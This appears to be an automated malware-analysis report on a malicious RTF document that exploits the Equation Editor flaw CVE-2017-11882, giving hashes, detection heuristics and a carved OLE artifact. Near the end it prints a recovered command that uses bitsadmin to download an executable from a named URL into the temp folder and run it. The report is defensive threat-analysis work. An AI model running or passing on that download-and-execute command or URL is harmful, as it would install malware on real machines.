RTF malware analysis — malicious · b846ce19bfa19636

MALICIOUS

RTF

10.6 KB Authoring application: Riched20 6.3.9600 First seen: 2019-09-30

MD5: 0a5f26ff0901be80adc81c179ea2253b SHA-1: c9f3428f4e71b002cad564f88dd6e0d6312d818e SHA-256: b846ce19bfa19636849c03894a85ac042c708bc2a0fe9e11c4688ba6a7d944e8

382 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains embedded OLE object data, specifically an Equation Editor object, which is known to be vulnerable to CVE-2017-11882. This exploit is designed to execute arbitrary code, likely downloading and running a second-stage payload from the embedded URL http://ceuecandido.pt/skype.exe. The file's structure and heuristic firings strongly indicate exploitation for client execution.

Heuristics 9

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
Equation Editor object class critical RTF_OBJCLASS_EQUATION

Object class 'equation.3' references Equation Editor
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://ceuecandido.pt/skype.exe In RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off00000376.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x376	3546 bytes
SHA-256: `705abb35135947326283b4399ceb49a353d9590461a0f29a8793b1e45015f500`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): http://ceuecandido.pt/skype.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer 8 /download http://ceuecandido.pt/skype.exe %temp%\Ws.Exe&%temp%\Ws.Exe

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